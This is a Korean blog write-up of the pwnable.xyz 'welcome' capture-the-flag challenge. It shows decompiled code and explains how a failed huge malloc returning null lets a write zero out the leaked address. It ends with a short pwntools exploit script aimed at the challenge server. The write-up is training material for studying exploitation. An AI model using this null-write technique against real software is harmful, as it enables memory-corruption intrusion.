728x90
우선 ida에서 코드를 보면,
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rbx
__int64 v4; // rdx
char *v5; // rbp
__int64 v6; // rdx
size_t v7; // rdx
size_t size; // [rsp+0h] [rbp-28h]
unsigned __int64 v10; // [rsp+8h] [rbp-20h]
v10 = __readfsqword(0x28u);
sub_B4E(a1, a2, a3);
puts("Welcome.");
v3 = malloc(0x40000uLL);
*v3 = 1LL;
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ", v4);
size = 0LL;
_isoc99_scanf("%lu", &size);
v5 = (char *)malloc(size);
_printf_chk(1LL, "Enter your message: ", v6);
read(0, v5, size);
v7 = size;
v5[size - 1] = 0;
write(1, v5, v7);
if ( !*v3 )
system("cat /flag");
return 0LL;
}
이렇게 있고 보다시피 v3의 값을 0으로 만들어야 한다.
사실 맨 처음 이 문제를 풀려고 했는데 malloc의 값이 너무 크면 0이 리턴된다는 것 까지 이해했는데 그 다음부터 도저히 이해가 안되서 혼자 여러 상황을 가정하고 코드를 짜보다가 이해했다..(c언어 상식 부족)
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
int main() {
int k;
k = 123;
int add = &k;
char * lee = 0;
//lee = (int)("0x00");
printf("%d", lee[add]);
}
우선 malloc에 오류가 생기면 nullpointer가 지정된다는 말도 있었고, 그냥 리턴값이 0이라는 말도 있었는데, 일단 전자는 뭔말인지 모르겠으므로 후자가 맞는것 같다 . ㅋㅋㅋ
이렇게 포인터가 0으로 선언되고, 배열로 사용하면 다른 메모리에 들어있는 값을 읽어올 수 있다.
이렇게 말이다.
즉 만약 0으로 초기화된 포인터 변수 lee가 있다고 가정하고
'lee[(원하는 변수의 주소)]'를 출력하면 '원하는 변수'의 값을 출력한다.
welcome문제에서 처음에 Leak라는 말과 함께 변수 v3의 값의 주소가 나온다.
그리고 v5 를 malloc하고 v5[size -1]이 0으로 초기화된다.
우리는 v3의 값을 0으로 만들면 된다.
아까 c언어를 예시로 말한것처럼, v5를 malloc하는 과정에서 0으로 초기화된다면, v5[size-1]에서
size에 v3의 주소 + 1을 넣어주면 v3는 0으로 초기화 될것이다. (v3는 포인터변수인데 딱히 포인터로 쓰이는게 이 문제에선 중요하지 않은것같아서 그냥 변수라고 말함)
pwntool로 짜보면,
from pwn import *
p=remote("svc.pwnable.xyz", 30000)
p.recvuntil("Leak: 0x")
pl=int(p.recv(12), 16)+1
p.recvuntil(": ")
p.sendline(str(pl))
p.recvuntil(": ")
p.sendline("Adf")
p.interactive()
728x90
'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] xor (0) | 2020.09.29 |
---|---|
[pwnable.xyz] two targets (0) | 2020.09.26 |
[pwnable.xyz] note (0) | 2020.09.14 |
[pwnable.xyz] grownup (0) | 2020.09.12 |
[pwnable.xyz] misalignment (0) | 2020.09.10 |